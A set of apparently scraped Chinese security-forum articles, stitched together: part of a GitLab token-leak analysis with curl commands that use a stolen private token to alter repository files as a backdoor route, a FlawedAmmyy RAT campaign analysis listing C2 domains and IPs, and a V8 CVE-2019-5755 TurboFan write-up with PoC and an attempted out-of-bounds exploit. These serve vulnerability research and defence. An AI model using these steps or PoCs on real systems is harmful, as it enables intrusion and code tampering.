# It may include exceptions or other attribute detail configuration, parsed by +@attributes_finder+
#
# +current_key+ main model that will be a key in the hash
# +value+ existing model to be included in the hash
# +json_config_hash+ the original hash containing the root model
def create_model_value(current_key, value, json_config_hash)
parsed_hash = { include: value }
parse_hash(value, parsed_hash)
json_config_hash[current_key] = parsed_hash
end
# Calls attributes finder to parse the hash and add any attributes to it
#
# +value+ existing model to be included in the hash
# +parsed_hash+ the original hash
def parse_hash(value, parsed_hash)
@attributes_finder.parse(value) do |hash|
parsed_hash = { include: hash_or_merge(value, hash) }
end
end
这里出现了逻辑问题，由于`parsed_hash`这个变量不是全局变量，所以`create_model_value()`中执行`parse_hash()`时，`parse_hash()`中的`parsed_hash`被改变，但是`create_model_value()`函数中的`parsed_hash`不会变，这就造成了`parse_hash()`这个函数执行后`create_model_value()`中`parsed_hash`这个值并没有改变。因此最后导出的文件包含了`authentication_token`。
我们在`gitlab-rails
console`里展示了这两者的区别。当`value=user`的时候，`parsed_hash={:include=>:user}`，输出的结果如同图中的`user.as_json()`，会将所有内容输出，包括`authentication_token`。当`parsed_hash`为经过`parse_hash()`处理后的`{:include=>{:user=>{:only=>[:id,
:email, :username]}}}`时，输出结果与`user.as_json(only: [:id, :email, :username])`相同。
### 后续RCE方式的探讨
在[hackone的两个报告](https://hackerone.com/reports/178152)中，漏洞发现者都提到了`leads to
RCE`，笔者尝试去实现这一点。由于`GitLab`源码在`gitlab.com`上，所以当获取了`GitLab`的管理员权限后，我们可以通过`authentication_token`修改`GitLab`项目的源码，留下自己的后门。
为了重现这种情况，我们在本地新建一个新的项目去通过`authentication_token`和`GitLab api`来修改项目文件。
用`root`账户创建一个项目:`test_rce`，其中`README.md`的内容为`created by root`
接下来，我们要用`gitlab`的`api`来修改它。首先，根据`projects的api`找到`test_rce`项目对应的`id`，这里是18
curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects"
我们再根据`api`读取一下文件
curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects/18/repository/files?file_path=README.md&ref=master"
这里，`content`为`Y3JlYXRlZCBieSByb290`，这是文件内容被`base64`加密后的结果，解密一下就可以看到`created by
root`
根据`api`的要求，我们通过`PUT`数据来修改文件，将`README.md`修改为`change by notroot`。
当我们再读一次，`content`内容为：`Y2hhbmdlIGJ5IG5vdHJvb3Q=`，解码之后就是`change by notroot`
不得不说，笔者所实现的这种方式攻击时间跨度很长，能否执行命令取决于开发者下一次更新的时间，这也是这种方法的缺点之一。
## 0x02 官方修复分析
### 任意文件读取漏洞(CVE-2016-9086)修复分析
我们可以看到，官方先移除了导入包里的软连接，其次，读取`VERSION`的内容和`project.json`的内容出错后将内容输出到日志里而非返回到前端。
#### 任意用户authentication_token泄露漏洞修复分析
官方让`json_config_hash[current_key]`获取到`parse_hash()`处理后的值。
## 0x03 参考
* https://www.seebug.org/vuldb/ssvid-92529
* https://www.seebug.org/vuldb/ssvid-92516
* <https://hackerone.com/reports/178152>
* <https://hackerone.com/reports/158330>
* <https://github.com/gitlabhq/gitlabhq/commit/912e1ff4284eb39fe020b8e823085a2cb7f244fb>
* <https://github.com/gitlabhq/gitlabhq/commit/4389f09e668c043c8a347c4c63f06795110dfbb3#diff-b10a896b29121489e3b2fb396bc53d8a>
* <https://gitlab.com/gitlab-org/gitlab-ce/issues/20802>
* <https://gitlab.com/help/user/project/settings/import_export.md>
* <https://docs.gitlab.com/ce/api/>
* * * | 社区文章 |
# 记一次利用XLM宏投放远控工具的垃圾邮件活动
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
五月假期后上班的前几天，发现了一个很有意思的邮件，附件是一个xls文档。依稀记得这个文档在5月5号前后VT上并没有多少家杀软报毒。在虚拟机中打开文档，呈现了这样的界面。
想要看一下宏代码，却发现alt+F11或者oletools等工具并不能提取出宏代码。一时之间还以为OLE流中有精心构造的数据可以出发漏洞并造成RCE，然而用windbg调了半天EXCEL.EXE，发现msiexec并不是由shellcode执行的，而是EXCEL代码本身的逻辑。后来经过[银雁冰](https://www.anquanke.com/member/117972)的提示，在文档隐藏的workbook中找打了解开问题的答案：文档的作者有意隐藏了其他workbook，并在其中嵌入了XLM（excel
4.0）宏。
所以服务器的cykom2应该是一个msi安装包，将该文件下载解压即可分析。
## cykom2
文件下载并解压，内部文件目录如下所示：
先看一下main函数。
初步看，这个样本会检查系统是否运行foundation这个服务，如果有该服务运行，停止服务并删除。
这个函数中有很多sub_411C60的函数调用，我们来看一下这个函数
分析结果表明，这个函数的行为类似于GetProcAddress(LoadLibrary(),
char*pProc);函数定义是这样的：函数传进两个参数，第一个是函数名移位异或加密的值，另一个是选择函数所在dll在函数体switch结构中的case值。然后通过解析进程PEB，再调用LoadLibrary_EAT函数获取dll映象基址。然后按照PE文件在内存中的加载结构解析export
table，将到处函数名移位异或加密并与第一个参数匹配。为方便阅读，特提取分析该样本的虚拟机的kernel32.dll的IMAGE_EXPORT_DIRECTORY结构体如下：
我们再回头看一下LoadLibrary_EAT函数：
为方便阅读，代码已经加了注释，同样是采用遍历export name
table，匹配加密的key的方式获取kernel32!LoadLibraryA()的地址，并用它获取待加载dll的基址。
所以给Main函数的代码做完梳理之后，是这样的：
从上面的main函数来看，这个样本是一个downloader，主要行为是：从服务器下载文件，解密并释放到Mircosofts_HeLP目录下，命名为wsus.exe，并启动进程或创建服务以完成样本的落地。下面看动态调试：
拼接临时文件目录并下载临时文件：
然后申请一段内存，然后把下载的内容释放到缓存当中，并使用RC4解密，利用gey5453gdfygre作为Key构造的Sbox如下所示：
解密后的文件如下所示：
然后将缓存释放到wsus.exe中，并加载。如果当前用户没有管理员权限，则启动进程，反之，则注册服务或开机启动项。
由于创建服务的启动类型为auto start，所以wsus.exe中一定有一个SCM去管理服务的启动过程。
## Wsus.exe
数字签名如下：
Wsus.exe作为服务启动，所以样本代码中应该有一个SCManger。所以，在静态分析时找到了SCM的代码：
所以服务函数应该是sub_402A10。
StartAddress函数
上面的代码表明，wsus.exe的代码中，有一个SCM，会创建线程执行线程，线程的一部分行为是：用 –nogui参数执行自身。
随着深入的静态分析，发现这个样本是一个重新编译的FlawedAmmyy
RAT工具。原因在于代码作者在编写样本时，大量使用和修改了Ammyy Admin
V3的代码，。鉴于二进制文件的静态分析中有很多麻烦的类和虚函数的标记工作，为了更彻底地分析样本，需要通过动态调试和部分源代码的参考，完成类和虚表的标记。
在对程序的类和部分虚表进行标记后，WinMain函数的结构就比较明显了。
Main函数的主要行为通过解析参数并根据参数内容配置，启动服务。（前文中关于SCM代码的部分）
服务信息配置完毕后，启动自身。
以nogui参数启动后，仍然执行main函数，检查服务配置。并解密出要连接的地址。
这个函数的伪代码如下：
实际调试时，该地址已失效，所以无法成功建立连接。
如能成功连接远程服务器，样本会采集主机信息并生成上线包，并根据回包的命令在受害主机执行动作：
代码静态分析和源代码比对如下所示：
由于篇幅问题，其他内容这里就不便贴出来了。
## 小结
从整个攻击流程看，攻击者用含有XLM宏的文档作为入口，MSI安装包作为中间节点，投放FlawedAMMYY远控工具的行为，符合TA505这个黑产组织的特点。从样本时间戳和文件创建时间来看，这一波攻击应该是从五月份开始的，而仅仅十天，C2就失活了，这是我没有想到的。从文档的内容看，大概率是在中国投放的了，由于没有更多的渠道，这批垃圾邮件，在中国投放了多少，以及这是不是TA505准备在中国境内活动的信号，我也无从得知。如果有人感兴趣，并且手上有相关资源，倒是可以深入探究一下。
## IoC
xls文档 ADDE5C61F5397A807C23B5DFC30D89E8
cykom2 91C338FC7194375FF5E71F9681C0A74B
wsus.exe F48CBE8773334E97FC8FA6FCA39B0A85
链接地址：
slemend[.]com/sykom2
5.149.254.25/1[.]tmp
169.239.129[.]103
### 参考链接
<https://github.com/KbaHaxor/Ammyy-v3>
<https://brica.de/alerts/alert/public/1249375/si-lab-flawedammyy-leveraging-undetected-xlm-macros-as-an-infection-vehicle/> | 社区文章 |
# V8 CVE-2019-5755 MinusZero类型缺失漏洞 in turboFan
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
* CVE-2019-5755 是一个位于 v8 turboFan 的类型信息缺失漏洞。该漏洞将导致 SpeculativeSafeIntegerSubtract 的计算结果缺失 MinusZero （即 -0）这种类型。这将允许 turboFan 计算出错误的 Range 并可进一步构造出越界读写原语，乃至执行 shellcode。
* 复现用的 v8 版本为 `7.1.302.28` （或者commit ID `a62e9dd69957d9b1d0a56f825506408960a283fc` 前的版本也可）
## 二、环境搭建
* 切换 v8 版本，然后编译：
git checkout 7.1.302.28
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
* 启动 turbolizer。如果原先版本的 turbolizer 无法使用，则可以使用在线版本的 [turbolizer](https://v8.github.io/tools/head/turbolizer/index.html)
cd tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer 8000&
google-chrome http://127.0.0.1:8000
## 三、漏洞细节
* turboFan 的 Typer 将 SpeculativeSafeIntegerSubtract 的类型设置为与 kSafeInteger 的交集， **但这里没有考虑到`-0` （即 MinusZero）的情况。** 例如：算式 `((-0) - 0)` 应该返回 `-0`，但是由于 Typer 取的是两 个类型的交集，因此 typer 将忽略 MinusZero (-0) 的这种情况。而这种 wrong case 可以用来执行错误的范围计算。以下是 SpeculativeSafeIntegerSubtract 函数（漏洞函数）以及 SpeculativeSafeIntegerAdd 函数（对照函数）的源码：
Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) {
Type result = SpeculativeNumberAdd(lhs, rhs);
// If we have a Smi or Int32 feedback, the representation selection will
// either truncate or it will check the inputs (i.e., deopt if not int32).
// In either case the result will be in the safe integer range, so we
// can bake in the type here. This needs to be in sync with
// SimplifiedLowering::VisitSpeculativeAdditiveOp.
return Type::Intersect(result, cache_.kSafeIntegerOrMinusZero, zone());
}
Type OperationTyper::SpeculativeSafeIntegerSubtract(Type lhs, Type rhs) {
Type result = SpeculativeNumberSubtract(lhs, rhs);
// If we have a Smi or Int32 feedback, the representation selection will
// either truncate or it will check the inputs (i.e., deopt if not int32).
// In either case the result will be in the safe integer range, so we
// can bake in the type here. This needs to be in sync with
// SimplifiedLowering::VisitSpeculativeAdditiveOp.
/*
给左右操作数相减的结果（即变量 result）与 `kSafeInteger`类型 相交，返回 **交集** 。
!!! 注意这里，使用的是 cache_.kSafeInteger
与上面SpeculativeSafeIntegerAdd函数使用的cache_.kSafeIntegerOrMinusZero不一致
*/
return result = Type::Intersect(result, cache_.kSafeInteger, zone());
}
* 以下是该漏洞的 PoC：
function foo(trigger) {
var idx = Object.is((trigger ? -0 : 0) - 0, -0);
return idx;
}
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
console.log(foo(true)); // expected: true, got: false
正常来说，`foo(true)`应该始终返回 true （因为 $-0 – 0 = -0$），但优化后产生的结果却是 false。
我们可以观察一下 turbolizer 中的信息：
可以看到，对于 {MinusZero | Range(0,0)} – Range(0,0)
这种情况，SpeculativeSafeIntegerSubtract 的 Type 中并没有 MinusZero 这种类型。
因此，turboFan 将始终在 `TypedLoweringPhase -TypedOptimization::ReduceSameValue`中，把SameValue 结点优化成 false，因为 $MinusZero \ne
Range(0, 0)$。
* SameValue 结点是通过 JS 中`Object.is` 函数调用来生成的，其目的是用于判断左右操作数是否相同。具体来说是通过以下调用链生成：
void InliningPhase::Run(...)
Reduction JSCallReducer::ReduceJSCall(...)
Reduction JSCallReducer::ReduceObjectIs(Node* node)
其中，函数 ReduceObjectIs 的源码如下:
// ES section #sec-object.is
Reduction JSCallReducer::ReduceObjectIs(Node* node) {
DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
CallParameters const& params = CallParametersOf(node->op());
int const argc = static_cast<int>(params.arity() - 2);
Node* lhs = (argc >= 1) ? NodeProperties::GetValueInput(node, 2)
: jsgraph()->UndefinedConstant();
Node* rhs = (argc >= 2) ? NodeProperties::GetValueInput(node, 3)
: jsgraph()->UndefinedConstant();
// 生成 SameValue Node
Node* value = graph()->NewNode(simplified()->SameValue(), lhs, rhs);
ReplaceWithValue(node, value);
return Replace(value);
}
Typer 将在 TyperPhase 阶段试着计算出 SameValue 结点的类型，它将沿着以下调用链
Type Typer::Visitor::TypeSameValue(Node* node)
Type Typer::Visitor::SameValueTyper(Type lhs, Type rhs, Typer* t)
Type OperationTyper::SameValue(Type lhs, Type rhs)
调用到`OperationTyper::SameValue`函数并计算其类型：
Type OperationTyper::SameValue(Type lhs, Type rhs) {
if (!JSType(lhs).Maybe(JSType(rhs))) return singleton_false();
if (lhs.Is(Type::NaN())) {
if (rhs.Is(Type::NaN())) return singleton_true();
if (!rhs.Maybe(Type::NaN())) return singleton_false();
} else if (rhs.Is(Type::NaN())) {
if (!lhs.Maybe(Type::NaN())) return singleton_false();
}
if (lhs.Is(Type::MinusZero())) {
if (rhs.Is(Type::MinusZero())) return singleton_true();
if (!rhs.Maybe(Type::MinusZero())) return singleton_false();
// 如果左右操作数不同时为 MinusZero，则返回 false。
} else if (rhs.Is(Type::MinusZero())) {
if (!lhs.Maybe(Type::MinusZero())) return singleton_false();
}
if (lhs.Is(Type::OrderedNumber()) && rhs.Is(Type::OrderedNumber()) &&
(lhs.Max() < rhs.Min() || lhs.Min() > rhs.Max())) {
return singleton_false();
}
return Type::Boolean();
}
当 SameValue 结点计算出 确定性的类型（即 true / false）后，turboFan 将在 TypedLoweringPhase 阶段中的
ConstantFoldingReducer 对 SameValue 进行结点替换，用之前计算出的 HeapConstant 替换当前的 SameValue
结点：
Reduction ConstantFoldingReducer::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;
// Check if the output type is a singleton. In that case we already know the
// result value and can simply replace the node if it's eliminable.
// 如果当前结点的 type 是 singleton，即确定只有一种类型，则开始优化
if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
node->op()->HasProperty(Operator::kEliminatable)) {
// ...
// We can only constant-fold nodes here, that are known to not cause any
// side-effect, may it be a JavaScript observable side-effect or a possible
// eager deoptimization exit (i.e. {node} has an operator that doesn't have
// the Operator::kNoDeopt property).
// 获取当前结点的类型
Type upper = NodeProperties::GetType(node);
if (!upper.IsNone()) {
Node* replacement = nullptr;
// 如果当前结点是 HeapConstant
if (upper.IsHeapConstant()) {
replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
} else if // ...
// ...
if (replacement) {
// Make sure the node has a type.
// 使用新类型进行替换
if (!NodeProperties::IsTyped(replacement)) {
NodeProperties::SetType(replacement, upper);
}
ReplaceWithValue(node, replacement);
return Changed(replacement);
}
}
}
return NoChange();
}
若 SameValue 无法得到确定性的类型，则将在 TypedLoweringPhase 中通过
`TypedOptimization::ReduceSameValue` 函数进行另一种优化。以下是该函数的源码，在该源码中我们可以了解到
ReduceSameValue 的详细执行过程：
Reduction TypedOptimization::ReduceSameValue(Node* node) {
DCHECK_EQ(IrOpcode::kSameValue, node->opcode());
Node* const lhs = NodeProperties::GetValueInput(node, 0);
Node* const rhs = NodeProperties::GetValueInput(node, 1);
Type const lhs_type = NodeProperties::GetType(lhs);
Type const rhs_type = NodeProperties::GetType(rhs);
if (lhs == rhs) {
// SameValue(x,x) => #true
return Replace(jsgraph()->TrueConstant());
} else if (lhs_type.Is(Type::Unique()) && rhs_type.Is(Type::Unique())) {
// SameValue(x:unique,y:unique) => ReferenceEqual(x,y)
NodeProperties::ChangeOp(node, simplified()->ReferenceEqual());
return Changed(node);
} else if (lhs_type.Is(Type::String()) && rhs_type.Is(Type::String())) {
// SameValue(x:string,y:string) => StringEqual(x,y)
NodeProperties::ChangeOp(node, simplified()->StringEqual());
return Changed(node);
} else if (lhs_type.Is(Type::MinusZero())) {
// SameValue(x:minus-zero,y) => ObjectIsMinusZero(y)
node->RemoveInput(0);
NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
return Changed(node);
} else if (rhs_type.Is(Type::MinusZero())) {
// SameValue(x,y:minus-zero) => ObjectIsMinusZero(x)
node->RemoveInput(1);
NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
return Changed(node);
} else if (lhs_type.Is(Type::NaN())) {
// SameValue(x:nan,y) => ObjectIsNaN(y)
node->RemoveInput(0);
NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
return Changed(node);
} else if (rhs_type.Is(Type::NaN())) {
// SameValue(x,y:nan) => ObjectIsNaN(x)
node->RemoveInput(1);
NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
return Changed(node);
} else if (lhs_type.Is(Type::PlainNumber()) &&
rhs_type.Is(Type::PlainNumber())) {
// SameValue(x:plain-number,y:plain-number) => NumberEqual(x,y)
NodeProperties::ChangeOp(node, simplified()->NumberEqual());
return Changed(node);
}
return NoChange();
}
* 我们再简单了解一下 SpeculativeSafeIntegerSubtract 和 SpeculativeNumberSubtract 结点的生成方式。这两种结点的生成都将通过以下调用链：
bool PipelineImpl::CreateGraph()
void GraphBuilderPhase::Run(...)
void BytecodeGraphBuilder::CreateGraph(...)
void BytecodeGraphBuilder::VisitBytecodes(...)
void BytecodeGraphBuilder::VisitSingleBytecode(...)
void BytecodeGraphBuilder::VisitSubSmi()
void BytecodeGraphBuilder::BuildBinaryOpWithImmediate(...)
void BytecodeGraphBuilder::BuildBinaryOp(...)
BytecodeGraphBuilder::TryBuildSimplifiedBinaryOp(...)
JSTypeHintLowering::LoweringResult JSTypeHintLowering::ReduceBinaryOperation(...)
Node* TryBuildNumberBinop()
const Operator* SpeculativeNumberOp(NumberOperationHint hint)
调用到最终的目标函数 `SpeculativeNumberOp`：
const Operator* SpeculativeNumberOp(NumberOperationHint hint) {
switch (op_->opcode()) {
// ...
case IrOpcode::kJSSubtract:
if (hint == NumberOperationHint::kSignedSmall ||
hint == NumberOperationHint::kSigned32) {
return simplified()->SpeculativeSafeIntegerSubtract(hint);
} else {
return simplified()->SpeculativeNumberSubtract(hint);
}
// ...
}
UNREACHABLE();
}
在 TryBuildNumberBinop 函数中，turboFan 试图从 feedback_vector
中获取操作数的相关信息。操作数信息一共有以下五种类型：
// A hint for speculative number operations.
enum class NumberOperationHint : uint8_t {
kSignedSmall, // Inputs were Smi, output was in Smi.
kSignedSmallInputs, // Inputs were Smi, output was Number.
kSigned32, // Inputs were Signed32, output was Number.
kNumber, // Inputs were Number, output was Number.
kNumberOrOddball, // Inputs were Number or Oddball, output was Number.
};
当且仅当操作数类型为 `NumberOperationHint::kSignedSmall` 或
`NumberOperationHint::kSigned32`时，当前减法才会被视为是 Safe 的，因此创建
SpeculativeSafeIntegerSubtract 结点；否则创建保守的 SpeculativeNumberSubtract 结点。
* 最后附带说明一下 **部分数字类型的范围** ：
> 参照源码 src/compiler/types.h
* 一些基础类型
* OtherNumber（ON）：$(-\infin, -2^{31}) \cup [2^{32}, \infin)$
* OtherSigned32（OS32） ：$[-2^{31}, -2^{30})$
* Negative31（N31）：$[-2^{30}, 0)$
* Unsigned30（U30）: $[0, 2^{30})$
* OtherUnsigned31（OU31）: $[2^{30}, 2^{31})$
* OtherUnsigned32（OU32）: $[2^{31}, 2^{32})$
ON OS32 N31 U30 OU31 OU32 ON
______[_______[_______[_______[_______[_______[_______
-2^31 -2^30 0 2^30 2^31 2^32
* Integral32：$[-2^{31}, 2^{32})$
* PlainNumber：任何浮点数，不包括 $-0$
* Number：任何浮点数，包括 $-0$、$NaN$
* Numeric：任何浮点数，包括 $-0$、$NaN$ 以及 $BigInt$
## 四、漏洞利用
> 尽管理论上可以通过该漏洞构造 **越界读取原语** ，但实际利用起来仍然存在一个无法解决的问题。
>
> 即便如此，我们仍然可以在尝试构造漏洞利用中加深对 turboFan 的理解。
初始 Poc 如下
function foo(trigger) {
var idx = Object.is((trigger ? -0 : 0) - 0, -0);
return idx;
}
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
console.log(foo(true)); // expected: true, got: false
从 turbolizer 中可以看到，不管传入函数的参数是什么，最后都将会把 SameValue 结点 **直接优化** 为
HeapConstant\<false\>，同时 **运行时 idx 值也是 false** ，两个结果相同，因此无法利用漏洞。
为什么运行时 idx 值也是 false 呢？因为当生成了 HeapConstant\<false\>之后，turboFan 就会直接优化变量 idx
的计算过程，直接取结果值 false：
我们 **希望** ，传入 -0 时（即传入参数 true），编译时 **SameValue 结点类型为 false，但运行时的结果为 true**
，这样就会有一个范围差，我们便可以利用它来计算出错误的范围。换句话说，我们需要让 turboFan 认为 **编译时** 的 SameValue 结点值为
0，但 **运行时** 的值是 1，这样我们才可以利用这个差值搭配乘法进行数组越界。
> **编译时** 的值：turboFan 执行 type 时所确认的值/范围，即静态分析时确定的数值。
>
> **运行时** 的值，终端调用 v8 执行 JS 程序时最终计算出的值。
因此，我们就必须 **禁止 turboFan 为 SameValue 结点生成 HeapConstant\
<false\>结点**，也就是说我们就必须在执行 simplified lowering 前的所有 ConstantFoldingReducer 时，
**不精确计算出** SameValue 的类型，即推迟该节点被 type 为 HeapConstant 的时机至 **执行完所有
ConstantFoldingReducer 之后** 。否则一旦出现 HeapConstant，则 **运行时** 的 idx 变量值就固定为该
HeapConstant，不会再重新计算。
那么，我们该让 SameValue 在什么时候被精确 type 呢？我们先看一下整个 pipeline 中运行 typer 的地方有哪些：
* TyperPhase 阶段
* LoadEliminationPhase 阶段中的 TypeNarrowingReducer 函数
* SimplifiedLoweringPhase 阶段中的 UpdateFeedbackType 函数
> 后两种是通过以下宏定义来调用 typer（咋一看还没认出来）：
>
>
> switch (node->opcode()) {
> #define DECLARE_CASE(Name) \
> case IrOpcode::k##Name: { \
> new_type = op_typer_.Name(input0_type, input1_type); \
> break; \
> }
> SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)
> #undef DECLARE_CASE
> // ...
> }
>
而 ConstantFoldingReducer 出现在 `TypedLoweringPhase` 和
`LoadEliminationPhase`。因此我们只能让 SameValue 在 **SimplifiedLoweringPhase** 阶段被精确
type。
但需要注意的是，TypedOptimization in TypedLoweringPhase 将会对 SameValue 进行一次 reduce
操作。我们必须阻止它将 SameValue 结点优化成 ObjectIsMinusZero 结点，因为该结点将不会在
simplifedLoweringPhase 中进行 type（只会进行节点替换，替换成 Int32Constant）。
综合上面的要求，我们不能让 turboFan 在 EscapeAnalysisPhase 之前的 Phase 中，确认出 SameValue 的第二个
操作数类型为 MinusZero。因此，就需要引入一点点 EscapeAnalysis 的内容 （完整内容请查阅 [Escape-Analysis-in-V8](https://www.jfokus.se/jfokus18/preso/Escape-Analysis-in-V8.pdf)）：
简单来说，EscapeAnalysis 可以但不限于 **将一个 LoadField 操作转换成一个栈变量读取操作** 。这样，在
EscapeAnalysisPhase 之前的 Phase，由于 LoadField 结点的存在，自然就无法获取到对应值的类型。因此笔者一开始将 Poc
修改为如下：
function foo(trigger) {
let obj = { a: -0 }; // Escape Analysis 特供1
let wrongNum = (trigger ? -0 : 0) - 0;
let idx = Object.is(wrongNum, obj.a);
return idx + 1;
}
// Escape Analysis 特供2
for(let a = 0; a < 2; a++)
foo(false);
%OptimizeFunctionOnNextCall(foo);
console.log(foo(true)); // expected: true, got: false
> 需要注意的是，Escape Analysis 对函数的 type feedback有一定的要求。如果目标函数只运行了 **一次** ，那么 escape
> analysis 分析效果非常的差，基本上无法分析出任何有用的东西，包括刚刚说的 LoadField
> 替换也无法完成。因此必须在优化前多执行几次目标函数。
>
> 同时，Escape Analysis 的目标对象，必须有个修饰符 let / var，否则无法替换 LoadField
> 结点，这其中主要是因为作用域的关系。
但实际调试发现， LoadField 结点的替换将会被 LoadElimination（ 位于 LoadEliminationPhase）
截胡。也就是说，在 LoadEliminationPhase 时，obj.a 就会被替换成 -0。相关代码如下：
Reduction LoadElimination::ReduceLoadField(Node* node) {
FieldAccess const& access = FieldAccessOf(node->op());
Node* object = NodeProperties::GetValueInput(node, 0);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
if (access.offset == HeapObject::kMapOffset &&
access.base_is_tagged == kTaggedBase) {
// ...
} else {
int field_index = FieldIndexOf(access);
if (field_index >= 0) {
if (Node* replacement = state->LookupField(object, field_index)) {
// Make sure we don't resurrect dead {replacement} nodes.
if (!replacement->IsDead()) {
// Introduce a TypeGuard if the type of the {replacement} node is not
// a subtype of the original {node}'s type.
if (!NodeProperties::GetType(replacement)
.Is(NodeProperties::GetType(node))) {
Type replacement_type = Type::Intersect(
NodeProperties::GetType(node),
NodeProperties::GetType(replacement), graph()->zone());
// 建立新结点
replacement = effect =
graph()->NewNode(common()->TypeGuard(replacement_type),
replacement, effect, control);
// type 设置
NodeProperties::SetType(replacement, replacement_type);
}
// 结点替换
ReplaceWithValue(node, replacement, effect);
return Replace(replacement);
}
}
state = state->AddField(object, field_index, node, access.name, zone());
}
}
// ...
return UpdateState(node, state);
}
但 LoadEliminationPhase 中存在 ConstantFoldingReducer，因此最终 SameValue 结点还是会被替换成
HeapConstant。所以我们还是必须想办法绕过 LoadElimination 的优化，进入 EscapeAnalysis 中的优化。
折腾了相当长的时间，终于找到了绕过的方法，以下是修改后的 PoC，与之前相比，加了一行略微奇怪的 console.log 函数调用：
> 这个绕过方法是蒙出来的，把代码改复杂一点有时可以非常玄学的绕过某些优化。
function foo(trigger) {
let obj = { a: -0 }; // Escape Analysis 特供1
let wrongNum = (trigger ? -0 : 0) - 0;
console.log(obj.a = -0 ); // 绕过 LoadElimination 特供
let idx = Object.is(wrongNum, obj.a);
return idx + 1;
}
// Escape Analysis 特供2
for(let a = 0; a < 2; a++)
foo(false);
%OptimizeFunctionOnNextCall(foo);
console.log(foo(true)); // expected: true, got: false
因此我们便可以绕过LoadElimination：
在 EscapeAnalysisPhase 完成之后，彻底完成所有的基础工作：
之后笔者稍微修改了一下代码，添加上数组访问操作，看看能否成功优化 checkbounds 结点（原先的代码只是获取索引值）：
function foo(trigger) {
let arr = [0.1, 0.2, 0.3, 0.4];
let obj = { a: -0 }; // Escape Analysis 特供1
let wrongNum = (trigger ? -0 : 0) - 0;
console.log(obj.a); // 绕过 LoadElimination 的特供语句
let idx = Object.is(wrongNum, obj.a);
return arr[idx * 1337]; // 试着越界
}
// Escape Analysis 特供2
for(let a = 0; a < 2; a++)
foo(false);
%OptimizeFunctionOnNextCall(foo);
console.log(foo(true));
观察 turbolizer，可以发现 checkbounds 结点被成功优化：
编译生成的汇编代码貌似也没什么问题：
> Builtin_SameValue 的函数调用规范：%rdx 和 %rax 分别为左右两个操作数。
看上去应该可以成功越界读取，但实际执行时发现读取出的仍然是索引值为0的数组元素（心态崩了TAT）。
笔者动态调试了一下编译后 JS 函数的汇编代码，发现变量 wrongNum **被截断成整型** ，之后与 0x1 进行比较：
> 使用 `--trace-turbo` 参数 结合 turbolizer ，即时查看编译后函数的内存地址；同时搭配内置函数
> `%SystemDebug()`，便于调试。
而这实际上是 ChangeInt31ToTaggedSigned 结点的锅：
由于这个 ChangeInt31ToTaggedSigned 结点在 Simplified Lowering 阶段中生成，不可优化，因此 exp
编写就没办法继续下去，只能就此终止。
## 五、后记
* 该漏洞补丁的详细信息请查阅[此处](https://chromium.googlesource.com/v8/v8.git/+/e3c923962677908c183121644c945777cdb31570)
Type OperationTyper::SpeculativeSafeIntegerSubtract(Type lhs, Type rhs) {
Type result = SpeculativeNumberSubtract(lhs, rhs);
// If we have a Smi or Int32 feedback, the representation selection will
// either truncate or it will check the inputs (i.e., deopt if not int32).
// In either case the result will be in the safe integer range, so we
// can bake in the type here. This needs to be in sync with
// SimplifiedLowering::VisitSpeculativeAdditiveOp.
- return result = Type::Intersect(result, cache_.kSafeInteger, zone());
+ return Type::Intersect(result, cache_.kSafeIntegerOrMinusZero, zone());
}
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
// ...
Type left_feedback_type = TypeOf(node->InputAt(0));
Type right_feedback_type = TypeOf(node->InputAt(1));
// Handle the case when no int32 checks on inputs are necessary (but
// an overflow check is needed on the output). Note that we do not
- // have to do any check if at most one side can be minus zero.
- if (left_upper.Is(Type::Signed32OrMinusZero()) &&
+ // have to do any check if at most one side can be minus zero. For
+ // subtraction we need to handle the case of -0 - 0 properly, since
+ // that can produce -0.
+ Type left_constraint_type =
+ node->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd
+ ? Type::Signed32OrMinusZero()
+ : Type::Signed32();
+ if (left_upper.Is(left_constraint_type) &&
right_upper.Is(Type::Signed32OrMinusZero()) &&
(left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) {
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32, Type::Signed32());
} else {
// ...
}
// ...
}
* 漏洞修复后，原先 Poc 执行的 turbolizer 视图如下：
可以看到，SpeculativeSafeIntegerSubtra 的 Type 包含了 MinusZero 这种类型，因此下面的 SameValue
的类型也不再固定为 false， 而是 **不确定** 的 Boolean。
## 六、参考
* [Issue 913296: Security: V8: Incorrect type information on SpeculativeSafeIntegerSubtract](https://bugs.chromium.org/p/chromium/issues/detail?id=913296)
* [Exploiting the Math.expm1 typing bug in V8 – 0x41414141 in ??()](https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/)
* [Escape-Analysis-in-V8](https://www.jfokus.se/jfokus18/preso/Escape-Analysis-in-V8.pdf)
* [v8-math-expm1-类型错误导致的漏洞](https://cy2cs.top/2020/05/07/v8-math-expm1-%e7%b1%bb%e5%9e%8b%e9%94%99%e8%af%af%e5%af%bc%e8%87%b4%e7%9a%84%e6%bc%8f%e6%b4%9e/) | 社区文章 |
# 【工具分享】走近“黑客”：聊一聊“黑客”手中的那些好玩的“装备”
|
##### 译文声明
